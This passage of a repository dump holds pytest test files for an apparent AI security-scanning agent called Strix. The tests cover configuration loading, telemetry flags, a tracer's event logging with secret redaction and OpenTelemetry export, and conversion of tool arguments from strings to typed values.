None:\n    config_path = tmp_path / \"cli-config.json\"\n    config_path.write_text(\n        json.dumps({\"env\": {\"TRACELOOP_BASE_URL\": \"https://otel.example.com\"}}),\n        encoding=\"utf-8\",\n    )\n\n    monkeypatch.setattr(Config, \"_config_file_override\", config_path)\n    monkeypatch.setenv(\"TRACELOOP_BASE_URL\", \"https://env.example.com\")\n\n    applied = Config.apply_saved(force=False)\n\n    assert \"TRACELOOP_BASE_URL\" not in applied\n"
  },
  {
    "path": "tests/conftest.py",
    "content": "\"\"\"Pytest configuration and shared fixtures for Strix tests.\"\"\"\n"
  },
  {
    "path": "tests/interface/__init__.py",
    "content": "\"\"\"Tests for strix.interface module.\"\"\"\n"
  },
  {
    "path": "tests/llm/__init__.py",
    "content": "\"\"\"Tests for strix.llm module.\"\"\"\n"
  },
  {
    "path": "tests/llm/test_llm_otel.py",
    "content": "import litellm\n\nfrom strix.llm.config import LLMConfig\nfrom strix.llm.llm import LLM\n\n\ndef test_llm_does_not_modify_litellm_callbacks(monkeypatch) -> None:\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"1\")\n    monkeypatch.setenv(\"STRIX_OTEL_TELEMETRY\", \"1\")\n    monkeypatch.setattr(litellm, \"callbacks\", [\"custom-callback\"])\n\n    llm = LLM(LLMConfig(model_name=\"openai/gpt-5\"), agent_name=None)\n\n    assert llm is not None\n    assert litellm.callbacks == [\"custom-callback\"]\n"
  },
  {
    "path": "tests/runtime/__init__.py",
    "content": "\"\"\"Tests for strix.runtime module.\"\"\"\n"
  },
  {
    "path": "tests/skills/__init__.py",
    "content": "# Tests for skill-related runtime behavior.\n"
  },
  {
    "path": "tests/telemetry/__init__.py",
    "content": "\"\"\"Tests for strix.telemetry module.\"\"\"\n"
  },
  {
    "path": "tests/telemetry/test_flags.py",
    "content": "from strix.telemetry.flags import is_otel_enabled, is_posthog_enabled\n\n\ndef test_flags_fallback_to_strix_telemetry(monkeypatch) -> None:\n    monkeypatch.delenv(\"STRIX_OTEL_TELEMETRY\", raising=False)\n    monkeypatch.delenv(\"STRIX_POSTHOG_TELEMETRY\", raising=False)\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n\n    assert is_otel_enabled() is False\n    assert is_posthog_enabled() is False\n\n\ndef test_otel_flag_overrides_global_telemetry(monkeypatch) -> None:\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n    monkeypatch.setenv(\"STRIX_OTEL_TELEMETRY\", \"1\")\n    monkeypatch.delenv(\"STRIX_POSTHOG_TELEMETRY\", raising=False)\n\n    assert is_otel_enabled() is True\n    assert is_posthog_enabled() is False\n\n\ndef test_posthog_flag_overrides_global_telemetry(monkeypatch) -> None:\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n    monkeypatch.setenv(\"STRIX_POSTHOG_TELEMETRY\", \"1\")\n    monkeypatch.delenv(\"STRIX_OTEL_TELEMETRY\", raising=False)\n\n    assert is_otel_enabled() is False\n    assert is_posthog_enabled() is True\n"
  },
  {
    "path": "tests/telemetry/test_tracer.py",
    "content": "import json\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any, ClassVar\n\nimport pytest\nfrom opentelemetry.sdk.trace.export import SimpleSpanProcessor, SpanExportResult\n\nfrom strix.telemetry import tracer as tracer_module\nfrom strix.telemetry import utils as telemetry_utils\nfrom strix.telemetry.tracer import Tracer, set_global_tracer\n\n\ndef _load_events(events_path: Path) -> list[dict[str, Any]]:\n    lines = events_path.read_text(encoding=\"utf-8\").splitlines()\n    return [json.loads(line) for line in lines if line]\n\n\n@pytest.fixture(autouse=True)\ndef _reset_tracer_globals(monkeypatch) -> None:\n    monkeypatch.setattr(tracer_module, \"_global_tracer\", None)\n    monkeypatch.setattr(tracer_module, \"_OTEL_BOOTSTRAPPED\", False)\n    monkeypatch.setattr(tracer_module, \"_OTEL_REMOTE_ENABLED\", False)\n    telemetry_utils.reset_events_write_locks()\n    monkeypatch.delenv(\"STRIX_TELEMETRY\", raising=False)\n    monkeypatch.delenv(\"STRIX_OTEL_TELEMETRY\", raising=False)\n    monkeypatch.delenv(\"STRIX_POSTHOG_TELEMETRY\", raising=False)\n    monkeypatch.delenv(\"TRACELOOP_BASE_URL\", raising=False)\n    monkeypatch.delenv(\"TRACELOOP_API_KEY\", raising=False)\n    monkeypatch.delenv(\"TRACELOOP_HEADERS\", raising=False)\n\n\ndef test_tracer_local_mode_writes_jsonl_with_correlation(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer(\"local-observability\")\n    set_global_tracer(tracer)\n    tracer.set_scan_config({\"targets\": [\"https://example.com\"], \"user_instructions\": \"focus auth\"})\n    tracer.log_agent_creation(\"agent-1\", \"Root Agent\", \"scan auth\")\n    tracer.log_chat_message(\"starting scan\", \"user\", \"agent-1\")\n    execution_id = tracer.log_tool_execution_start(\n        \"agent-1\",\n        \"send_request\",\n        {\"url\": \"https://example.com/login\"},\n    )\n    tracer.update_tool_execution(execution_id, \"completed\", {\"status_code\": 200, \"body\": \"ok\"})\n\n    events_path = tmp_path / \"strix_runs\" / \"local-observability\" / \"events.jsonl\"\n    assert events_path.exists()\n\n    events = _load_events(events_path)\n    assert any(event[\"event_type\"] == \"tool.execution.updated\" for event in events)\n    assert not any(event[\"event_type\"] == \"traffic.intercepted\" for event in events)\n\n    for event in events:\n        assert event[\"run_id\"] == \"local-observability\"\n        assert event[\"trace_id\"]\n        assert event[\"span_id\"]\n\n\ndef test_tracer_redacts_sensitive_payloads(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer(\"redaction-run\")\n    set_global_tracer(tracer)\n    execution_id = tracer.log_tool_execution_start(\n        \"agent-1\",\n        \"send_request\",\n        {\n            \"url\": \"https://example.com\",\n            \"api_key\": \"sk-secret-token-value\",\n            \"authorization\": \"Bearer super-secret-token\",\n        },\n    )\n    tracer.update_tool_execution(\n        execution_id,\n        \"error\",\n        {\"error\": \"request failed with token sk-secret-token-value\"},\n    )\n\n    events_path = tmp_path / \"strix_runs\" / \"redaction-run\" / \"events.jsonl\"\n    events = _load_events(events_path)\n    serialized = json.dumps(events)\n\n    assert \"sk-secret-token-value\" not in serialized\n    assert \"super-secret-token\" not in serialized\n    assert \"[REDACTED]\" in serialized\n\n\ndef test_tracer_remote_mode_configures_traceloop_export(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    class FakeTraceloop:\n        init_calls: ClassVar[list[dict[str, Any]]] = []\n\n        @staticmethod\n        def init(**kwargs: Any) -> None:\n            FakeTraceloop.init_calls.append(kwargs)\n\n        @staticmethod\n        def set_association_properties(properties: dict[str, Any]) -> None:  # noqa: ARG004\n            return None\n\n    monkeypatch.setattr(tracer_module, \"Traceloop\", FakeTraceloop)\n    monkeypatch.setenv(\"TRACELOOP_BASE_URL\", \"https://otel.example.com\")\n    monkeypatch.setenv(\"TRACELOOP_API_KEY\", \"test-api-key\")\n    monkeypatch.setenv(\"TRACELOOP_HEADERS\", '{\"x-custom\":\"header\"}')\n\n    tracer = Tracer(\"remote-observability\")\n    set_global_tracer(tracer)\n    tracer.log_chat_message(\"hello\", \"user\", \"agent-1\")\n\n    assert tracer._remote_export_enabled is True\n    assert FakeTraceloop.init_calls\n    init_kwargs = FakeTraceloop.init_calls[-1]\n    assert init_kwargs[\"api_endpoint\"] == \"https://otel.example.com\"\n    assert init_kwargs[\"api_key\"] == \"test-api-key\"\n    assert init_kwargs[\"headers\"] == {\"x-custom\": \"header\"}\n    assert isinstance(init_kwargs[\"processor\"], SimpleSpanProcessor)\n    assert \"strix.run_id\" not in init_kwargs[\"resource_attributes\"]\n    assert \"strix.run_name\" not in init_kwargs[\"resource_attributes\"]\n\n    events_path = tmp_path / \"strix_runs\" / \"remote-observability\" / \"events.jsonl\"\n    events = _load_events(events_path)\n    run_started = next(event for event in events if event[\"event_type\"] == \"run.started\")\n    assert run_started[\"payload\"][\"remote_export_enabled\"] is True\n\n\ndef test_tracer_local_mode_avoids_traceloop_remote_endpoint(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    class FakeTraceloop:\n        init_calls: ClassVar[list[dict[str, Any]]] = []\n\n        @staticmethod\n        def init(**kwargs: Any) -> None:\n            FakeTraceloop.init_calls.append(kwargs)\n\n        @staticmethod\n        def set_association_properties(properties: dict[str, Any]) -> None:  # noqa: ARG004\n            return None\n\n    monkeypatch.setattr(tracer_module, \"Traceloop\", FakeTraceloop)\n\n    tracer = Tracer(\"local-traceloop\")\n    set_global_tracer(tracer)\n    tracer.log_chat_message(\"hello\", \"user\", \"agent-1\")\n\n    assert FakeTraceloop.init_calls\n    init_kwargs = FakeTraceloop.init_calls[-1]\n    assert \"api_endpoint\" not in init_kwargs\n    assert \"api_key\" not in init_kwargs\n    assert \"headers\" not in init_kwargs\n    assert isinstance(init_kwargs[\"processor\"], SimpleSpanProcessor)\n    assert tracer._remote_export_enabled is False\n\n\ndef test_otlp_fallback_includes_auth_and_custom_headers(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n    monkeypatch.setattr(tracer_module, \"Traceloop\", None)\n    monkeypatch.setenv(\"TRACELOOP_BASE_URL\", \"https://otel.example.com\")\n    monkeypatch.setenv(\"TRACELOOP_API_KEY\", \"test-api-key\")\n    monkeypatch.setenv(\"TRACELOOP_HEADERS\", '{\"x-custom\":\"header\"}')\n\n    captured: dict[str, Any] = {}\n\n    class FakeOTLPSpanExporter:\n        def __init__(self, endpoint: str, headers: dict[str, str] | None = None, **kwargs: Any):\n            captured[\"endpoint\"] = endpoint\n            captured[\"headers\"] = headers or {}\n            captured[\"kwargs\"] = kwargs\n\n        def export(self, spans: Any) -> SpanExportResult:  # noqa: ARG002\n            return SpanExportResult.SUCCESS\n\n        def shutdown(self) -> None:\n            return None\n\n        def force_flush(self, timeout_millis: int = 30_000) -> bool:  # noqa: ARG002\n            return True\n\n    fake_module = types.ModuleType(\"opentelemetry.exporter.otlp.proto.http.trace_exporter\")\n    fake_module.OTLPSpanExporter = FakeOTLPSpanExporter\n    monkeypatch.setitem(\n        sys.modules,\n        \"opentelemetry.exporter.otlp.proto.http.trace_exporter\",\n        fake_module,\n    )\n\n    tracer = Tracer(\"otlp-fallback\")\n    set_global_tracer(tracer)\n\n    assert tracer._remote_export_enabled is True\n    assert captured[\"endpoint\"] == \"https://otel.example.com/v1/traces\"\n    assert captured[\"headers\"][\"Authorization\"] == \"Bearer test-api-key\"\n    assert captured[\"headers\"][\"x-custom\"] == \"header\"\n\n\ndef test_traceloop_init_failure_does_not_mark_bootstrapped_on_provider_failure(\n    monkeypatch, tmp_path\n) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    class FakeTraceloop:\n        @staticmethod\n        def init(**kwargs: Any) -> None:  # noqa: ARG004\n            raise RuntimeError(\"traceloop init failed\")\n\n        @staticmethod\n        def set_association_properties(properties: dict[str, Any]) -> None:  # noqa: ARG004\n            return None\n\n    monkeypatch.setattr(tracer_module, \"Traceloop\", FakeTraceloop)\n\n    def _raise_provider_error(provider: Any) -> None:\n        raise RuntimeError(\"provider setup failed\")\n\n    monkeypatch.setattr(tracer_module.trace, \"set_tracer_provider\", _raise_provider_error)\n\n    tracer = Tracer(\"bootstrap-failure\")\n    set_global_tracer(tracer)\n\n    assert tracer_module._OTEL_BOOTSTRAPPED is False\n    assert tracer._remote_export_enabled is False\n\n\ndef test_run_completed_event_emitted_once(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer(\"single-complete\")\n    set_global_tracer(tracer)\n    tracer.save_run_data(mark_complete=True)\n    tracer.save_run_data(mark_complete=True)\n\n    events_path = tmp_path / \"strix_runs\" / \"single-complete\" / \"events.jsonl\"\n    events = _load_events(events_path)\n    run_completed = [event for event in events if event[\"event_type\"] == \"run.completed\"]\n    assert len(run_completed) == 1\n\n\ndef test_events_with_agent_id_include_agent_name(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer(\"agent-name-enrichment\")\n    set_global_tracer(tracer)\n    tracer.log_agent_creation(\"agent-1\", \"Root Agent\", \"scan auth\")\n    tracer.log_chat_message(\"hello\", \"assistant\", \"agent-1\")\n\n    events_path = tmp_path / \"strix_runs\" / \"agent-name-enrichment\" / \"events.jsonl\"\n    events = _load_events(events_path)\n    chat_event = next(event for event in events if event[\"event_type\"] == \"chat.message\")\n\n    assert chat_event[\"actor\"][\"agent_id\"] == \"agent-1\"\n    assert chat_event[\"actor\"][\"agent_name\"] == \"Root Agent\"\n\n\ndef test_run_metadata_is_only_on_run_lifecycle_events(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer(\"metadata-scope\")\n    set_global_tracer(tracer)\n    tracer.log_chat_message(\"hello\", \"assistant\", \"agent-1\")\n    tracer.save_run_data(mark_complete=True)\n\n    events_path = tmp_path / \"strix_runs\" / \"metadata-scope\" / \"events.jsonl\"\n    events = _load_events(events_path)\n\n    run_started = next(event for event in events if event[\"event_type\"] == \"run.started\")\n    run_completed = next(event for event in events if event[\"event_type\"] == \"run.completed\")\n    chat_event = next(event for event in events if event[\"event_type\"] == \"chat.message\")\n\n    assert \"run_metadata\" in run_started\n    assert \"run_metadata\" in run_completed\n    assert \"run_metadata\" not in chat_event\n\n\ndef test_set_run_name_resets_cached_paths(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer()\n    set_global_tracer(tracer)\n    old_events_path = tracer.events_file_path\n\n    tracer.set_run_name(\"renamed-run\")\n    tracer.log_chat_message(\"hello\", \"assistant\", \"agent-1\")\n\n    new_events_path = tracer.events_file_path\n    assert new_events_path != old_events_path\n    assert new_events_path == tmp_path / \"strix_runs\" / \"renamed-run\" / \"events.jsonl\"\n\n    events = _load_events(new_events_path)\n    assert any(event[\"event_type\"] == \"run.started\" for event in events)\n    assert any(event[\"event_type\"] == \"chat.message\" for event in events)\n\n\ndef test_set_run_name_resets_run_completed_flag(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    tracer = Tracer()\n    set_global_tracer(tracer)\n\n    tracer.save_run_data(mark_complete=True)\n    tracer.set_run_name(\"renamed-complete\")\n    tracer.save_run_data(mark_complete=True)\n\n    events_path = tmp_path / \"strix_runs\" / \"renamed-complete\" / \"events.jsonl\"\n    events = _load_events(events_path)\n    run_completed = [event for event in events if event[\"event_type\"] == \"run.completed\"]\n\n    assert any(event[\"event_type\"] == \"run.started\" for event in events)\n    assert len(run_completed) == 1\n\n\ndef test_set_run_name_updates_traceloop_association_properties(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n\n    class FakeTraceloop:\n        associations: ClassVar[list[dict[str, Any]]] = []\n\n        @staticmethod\n        def init(**kwargs: Any) -> None:  # noqa: ARG004\n            return None\n\n        @staticmethod\n        def set_association_properties(properties: dict[str, Any]) -> None:\n            FakeTraceloop.associations.append(properties)\n\n    monkeypatch.setattr(tracer_module, \"Traceloop\", FakeTraceloop)\n\n    tracer = Tracer()\n    set_global_tracer(tracer)\n    tracer.set_run_name(\"renamed-run\")\n\n    assert FakeTraceloop.associations\n    assert FakeTraceloop.associations[-1][\"run_id\"] == \"renamed-run\"\n    assert FakeTraceloop.associations[-1][\"run_name\"] == \"renamed-run\"\n\n\ndef test_events_write_locks_are_scoped_by_events_file(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n\n    tracer_one = Tracer(\"lock-run-a\")\n    tracer_two = Tracer(\"lock-run-b\")\n\n    lock_a_from_one = tracer_one._get_events_write_lock(tracer_one.events_file_path)\n    lock_a_from_two = tracer_two._get_events_write_lock(tracer_one.events_file_path)\n    lock_b = tracer_two._get_events_write_lock(tracer_two.events_file_path)\n\n    assert lock_a_from_one is lock_a_from_two\n    assert lock_a_from_one is not lock_b\n\n\ndef test_tracer_skips_jsonl_when_telemetry_disabled(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n\n    tracer = Tracer(\"telemetry-disabled\")\n    set_global_tracer(tracer)\n    tracer.log_chat_message(\"hello\", \"assistant\", \"agent-1\")\n    tracer.save_run_data(mark_complete=True)\n\n    events_path = tmp_path / \"strix_runs\" / \"telemetry-disabled\" / \"events.jsonl\"\n    assert not events_path.exists()\n\n\ndef test_tracer_otel_flag_overrides_global_telemetry(monkeypatch, tmp_path) -> None:\n    monkeypatch.chdir(tmp_path)\n    monkeypatch.setenv(\"STRIX_TELEMETRY\", \"0\")\n    monkeypatch.setenv(\"STRIX_OTEL_TELEMETRY\", \"1\")\n\n    tracer = Tracer(\"otel-enabled\")\n    set_global_tracer(tracer)\n    tracer.log_chat_message(\"hello\", \"assistant\", \"agent-1\")\n    tracer.save_run_data(mark_complete=True)\n\n    events_path = tmp_path / \"strix_runs\" / \"otel-enabled\" / \"events.jsonl\"\n    assert events_path.exists()\n"
  },
  {
    "path": "tests/telemetry/test_utils.py",
    "content": "from strix.telemetry.utils import prune_otel_span_attributes\n\n\ndef test_prune_otel_span_attributes_drops_high_volume_prompt_content() -> None:\n    attributes = {\n        \"gen_ai.operation.name\": \"openai.chat\",\n        \"gen_ai.request.model\": \"gpt-5.2\",\n        \"gen_ai.prompt.0.role\": \"system\",\n        \"gen_ai.prompt.0.content\": \"a\" * 20_000,\n        \"gen_ai.completion.0.content\": \"b\" * 10_000,\n        \"llm.input_messages.0.content\": \"c\" * 5_000,\n        \"llm.output_messages.0.content\": \"d\" * 5_000,\n        \"llm.input\": \"x\" * 3_000,\n        \"llm.output\": \"y\" * 3_000,\n    }\n\n    pruned = prune_otel_span_attributes(attributes)\n\n    assert \"gen_ai.prompt.0.content\" not in pruned\n    assert \"gen_ai.completion.0.content\" not in pruned\n    assert \"llm.input_messages.0.content\" not in pruned\n    assert \"llm.output_messages.0.content\" not in pruned\n    assert \"llm.input\" not in pruned\n    assert \"llm.output\" not in pruned\n    assert pruned[\"gen_ai.operation.name\"] == \"openai.chat\"\n    assert pruned[\"gen_ai.prompt.0.role\"] == \"system\"\n    assert pruned[\"strix.filtered_attributes_count\"] == 6\n\n\ndef test_prune_otel_span_attributes_keeps_metadata_when_nothing_is_dropped() -> None:\n    attributes = {\n        \"gen_ai.operation.name\": \"openai.chat\",\n        \"gen_ai.request.model\": \"gpt-5.2\",\n        \"gen_ai.prompt.0.role\": \"user\",\n    }\n\n    pruned = prune_otel_span_attributes(attributes)\n\n    assert pruned == attributes\n"
  },
  {
    "path": "tests/tools/__init__.py",
    "content": "\"\"\"Tests for strix.tools module.\"\"\"\n"
  },
  {
    "path": "tests/tools/conftest.py",
    "content": "\"\"\"Fixtures for strix.tools tests.\"\"\"\n\nfrom collections.abc import Callable\nfrom typing import Any\n\nimport pytest\n\n\n@pytest.fixture\ndef sample_function_with_types() -> Callable[..., None]:\n    \"\"\"Create a sample function with type annotations for testing argument conversion.\"\"\"\n\n    def func(\n        name: str,\n        count: int,\n        enabled: bool,\n        ratio: float,\n        items: list[Any],\n        config: dict[str, Any],\n        optional: str | None = None,\n    ) -> None:\n        pass\n\n    return func\n\n\n@pytest.fixture\ndef sample_function_no_annotations() -> Callable[..., None]:\n    \"\"\"Create a sample function without type annotations.\"\"\"\n\n    def func(arg1, arg2, arg3):  # type: ignore[no-untyped-def]\n        pass\n\n    return func\n"
  },
  {
    "path": "tests/tools/test_argument_parser.py",
    "content": "from collections.abc import Callable\n\nimport pytest\n\nfrom strix.tools.argument_parser import (\n    ArgumentConversionError,\n    _convert_basic_types,\n    _convert_to_bool,\n    _convert_to_dict,\n    _convert_to_list,\n    convert_arguments,\n    convert_string_to_type,\n)\n\n\nclass TestConvertToBool:\n    \"\"\"Tests for the _convert_to_bool function.\"\"\"\n\n    @pytest.mark.parametrize(\n        \"value\",\n        [\"true\", \"True\", \"TRUE\", \"1\", \"yes\", \"Yes\", \"YES\", \"on\", \"On\", \"ON\"],\n    )\n    def test_truthy_values(self, value: str) -> None:\n        \"\"\"Test that truthy string values are converted to True.\"\"\"\n        assert _convert_to_bool(value) is True\n\n    @pytest.mark.parametrize(\n        \"value\",\n        [\"false\", \"False\", \"FALSE\", \"0\", \"no\", \"No\", \"NO\", \"off\", \"Off\", \"OFF\"],\n    )\n    def test_falsy_values(self, value: str) -> None:\n        \"\"\"Test that falsy string values are converted to False.\"\"\"\n        assert _convert_to_bool(value) is False\n\n    def test_non_standard_truthy_string(self) -> None:\n        \"\"\"Test that non-empty non-standard strings are truthy.\"\"\"\n        assert _convert_to_bool(\"anything\") is True\n        assert _convert_to_bool(\"hello\") is True\n\n    def test_empty_string(self) -> None:\n        \"\"\"Test that empty string is falsy.\"\"\"\n        assert _convert_to_bool(\"\") is False\n\n\nclass TestConvertToList:\n    \"\"\"Tests for the _convert_to_list function.\"\"\"\n\n    def test_json_array_string(self) -> None:\n        \"\"\"Test parsing a JSON array string.\"\"\"\n        result = _convert_to_list('[\"a\", \"b\", \"c\"]')\n        assert result == [\"a\", \"b\", \"c\"]\n\n    def test_json_array_with_numbers(self) -> None:\n        \"\"\"Test parsing a JSON array with numbers.\"\"\"\n        result = _convert_to_list(\"[1, 2, 3]\")\n        assert result == [1, 2, 3]\n\n    def test_comma_separated_string(self) -> None:\n        \"\"\"Test parsing a comma-separated string.\"\"\"\n        result = _convert_to_list(\"a, b, c\")\n        assert result == [\"a\", \"b\", \"c\"]\n\n    def test_comma_separated_no_spaces(self) -> None:\n        \"\"\"Test parsing comma-separated values without spaces.\"\"\"\n        result = _convert_to_list(\"x,y,z\")\n        assert result == [\"x\", \"y\", \"z\"]\n\n    def test_single_value(self) -> None:\n        \"\"\"Test that a single value returns a list with one element.\"\"\"\n        result = _convert_to_list(\"single\")\n        assert result == [\"single\"]\n\n    def test_json_non_array_wraps_in_list(self) -> None:\n        \"\"\"Test that a valid JSON non-array value is wrapped in a list.\"\"\"\n        result = _convert_to_list('\"string\"')\n        assert result == [\"string\"]\n\n    def test_json_object_wraps_in_list(self) -> None:\n        \"\"\"Test that a JSON object is wrapped in a list.\"\"\"\n        result = _convert_to_list('{\"key\": \"value\"}')\n        assert result == [{\"key\": \"value\"}]\n\n    def test_empty_json_array(self) -> None:\n        \"\"\"Test parsing an empty JSON array.\"\"\"\n        result = _convert_to_list(\"[]\")\n        assert result == []\n\n\nclass TestConvertToDict:\n    \"\"\"Tests for the _convert_to_dict function.\"\"\"\n\n    def test_valid_json_object(self) -> None:\n        \"\"\"Test parsing a valid JSON object string.\"\"\"\n        result = _convert_to_dict('{\"key\": \"value\", \"number\": 42}')\n        assert result == {\"key\": \"value\", \"number\": 42}\n\n    def test_empty_json_object(self) -> None:\n        \"\"\"Test parsing an empty JSON object.\"\"\"\n        result = _convert_to_dict(\"{}\")\n        assert result == {}\n\n    def test_invalid_json_returns_empty_dict(self) -> None:\n        \"\"\"Test that invalid JSON returns an empty dictionary.\"\"\"\n        result = _convert_to_dict(\"not json\")\n        assert result == {}\n\n    def test_json_array_returns_empty_dict(self) -> None:\n        \"\"\"Test that a JSON array returns an empty dictionary.\"\"\"\n        result = _convert_to_dict(\"[1, 2, 3]\")\n        assert result == {}\n\n    def test_nested_json_object(self) -> None:\n        \"\"\"Test parsing a nested JSON object.\"\"\"\n        result = _convert_to_dict('{\"outer\": {\"inner\": \"value\"}}')\n        assert result == {\"outer\": {\"inner\": \"value\"}}\n\n\nclass TestConvertBasicTypes:\n    \"\"\"Tests for the _convert_basic_types function.\"\"\"\n\n    def test_convert_to_int(self) -> None:\n        \"\"\"Test converting string to int.\"\"\"\n        assert _convert_basic_types(\"42\", int) == 42\n        assert _convert_basic_types(\"-10\", int) == -10\n\n    def test_convert_to_float(self) -> None:\n        \"\"\"Test converting string to float.\"\"\"\n        assert _convert_basic_types(\"3.14\", float) == 3.14\n        assert _convert_basic_types(\"-2.5\", float) == -2.5\n\n    def test_convert_to_str(self) -> None:\n        \"\"\"Test converting string to str (passthrough).\"\"\"\n        assert _convert_basic_types(\"hello\", str) == \"hello\"\n\n    def test_convert_to_bool(self) -> None:\n        \"\"\"Test converting string to bool.\"\"\"\n        assert _convert_basic_types(\"true\", bool) is True\n        assert _convert_basic_types(\"false\", bool) is False\n\n    def test_convert_to_list_type(self) -> None:\n        \"\"\"Test converting to list type.\"\"\"\n        result = _convert_basic_types(\"[1, 2, 3]\", list)\n        assert result == [1, 2, 3]\n\n    def test_convert_to_dict_type(self) -> None:\n        \"\"\"Test converting to dict type.\"\"\"\n        result = _convert_basic_types('{\"a\": 1}', dict)\n        assert result == {\"a\": 1}\n\n    def test_unknown_type_attempts_json(self) -> None:\n        \"\"\"Test that unknown types attempt JSON parsing.\"\"\"\n        result = _convert_basic_types('{\"key\": \"value\"}', object)\n        assert result == {\"key\": \"value\"}\n\n    def test_unknown_type_returns_original(self) -> None:\n        \"\"\"Test that unparseable values are returned as-is.\"\"\"\n        result = _convert_basic_types(\"plain text\", object)\n        assert result == \"plain text\"\n\n\nclass TestConvertStringToType:\n    \"\"\"Tests for the convert_string_to_type function.\"\"\"\n\n    def test_basic_type_conversion(self) -> None:\n        \"\"\"Test basic type conversions.\"\"\"\n        assert convert_string_to_type(\"42\", int) == 42\n        assert convert_string_to_type(\"3.14\", float) == 3.14\n        assert convert_string_to_type(\"true\", bool) is True\n\n    def test_optional_type(self) -> None:\n        \"\"\"Test conversion with Optional type.\"\"\"\n        result = convert_string_to_type(\"42\", int | None)\n        assert result == 42\n\n    def test_union_type(self) -> None:\n        \"\"\"Test conversion with Union type.\"\"\"\n        result = convert_string_to_type(\"42\", int | str)\n        assert result == 42\n\n    def test_union_type_with_none(self) -> None:\n        \"\"\"Test conversion with Union including None.\"\"\"\n        result = convert_string_to_type(\"hello\", str | None)\n        assert result == \"hello\"\n\n    def test_modern_union_syntax(self) -> None:\n        \"\"\"Test conversion with modern union syntax (int | None).\"\"\"\n        result = convert_string_to_type(\"100\", int | None)\n        assert result == 100\n\n\nclass TestConvertArguments:\n    \"\"\"Tests for the convert_arguments function.\"\"\"\n\n    def test_converts_typed_arguments(\n        self, sample_function_with_types: Callable[..., None]\n    ) -> None:\n        \"\"\"Test that arguments are converted based on type annotations.\"\"\"\n        kwargs = {\n            \"name\": \"test\",\n            \"count\": \"5\",\n            \"enabled\": \"true\",\n            \"ratio\": \"2.5\",\n            \"items\": \"[1, 2, 3]\",\n            \"config\": '{\"key\": \"value\"}',\n        }\n        result = convert_arguments(sample_function_with_types, kwargs)\n\n        assert result[\"name\"] == \"test\"\n        assert result[\"count\"] == 5\n        assert result[\"enabled\"] is True\n        assert result[\"ratio\"] == 2.5\n        assert result[\"items\"] == [1, 2, 3]\n        assert result[\"config\"] == {\"key\": \"value\"}\n\n    def test_passes_through_none_values(\n        self, sample_function_with_types: Callable[..., None]\n    ) -> None:\n        \"\"\"Test that None values are passed through unchanged.\"\"\"\n        kwargs = {\"name\": \"test\", \"count\": None}\n        result = convert_arguments(sample_function_with_types, kwargs)\n        assert result[\"count\"] is None\n\n    def test_passes_through_non_string_values(\n        self, sample_function_with_types: Callable[..., None]\n    ) -> None:\n        \"\"\"Test that non-string values are passed through unchanged.\"\"\"\n        kwargs = {\"name\": \"test\", \"count\": 42}\n        result = convert_arguments(sample_function_with_types, kwargs)\n        assert result[\"count\"] == 42\n\n    def test_unknown_parameter_passed_through(\n        self, sample_function_with_types: Callable[..., None]\n    ) -> None:\n        \"\"\"Test that parameters not in signature are passed through.\"\"\"\n        kwargs = {\"name\": \"test\", \"unknown_param\": \"value\"}\n        result = convert_arguments(sample_function_with_types, kwargs)\n        assert result[\"unknown_param\"] == \"value\"\n\n    def test_function_without_annotations(\n        self, sample_function_no_annotations: Callable[..., None]\n    ) -> None:\n        \"\"\"Test handling of functions without type annotations.\"\"\"\n        kwargs = {\"arg1\": \"value1\", \"arg2\": \"42\"}\n        result = convert_arguments(sample_function_no_annotations, kwargs)\n        assert result[\"arg1\"] == \"value1\"\n        assert result[\"arg2\"] == \"42\"\n\n    def test_raises_error_on_conversion_failure(\n        self, sample_function_with_types: Callable[..., None]\n    ) -> None:\n        \"\"\"Test that ArgumentConversionError is raised on conversion failure.\"\"\"\n        kwargs = {\"count\": \"not_a_number\"}\n        with pytest.raises(ArgumentConversionError) as exc_info:\n            convert_arguments(sample_function_with_types, kwargs)\n        assert exc_info.value.param_name == \"count\"\n\n\nclass TestArgumentConversionError:\n    \"\"\"Tests for the ArgumentConversionError exception class.\"\"\"\n\n    def test_error_with_param_name(self) -> None:\n        \"\"\"Test creating error with parameter name.\"\"\"\n        error = ArgumentConversionError(\"Test error\", param_name=\"test_param\")\n        assert error.param_name == \"test_param\"\n        assert str(error) == \"Test error\"\n\n    def test_error_without_param_name(self) -> None:\n        \"\"\"Test creating error without parameter name.\"\"\"\n        error = ArgumentConversionError(\"Test error\")\n        assert error.param_name is None\n        assert str(error) == \"Test error\"\n"
  },
  {
    "path": "tests/tools/test_load_skill_tool.py",
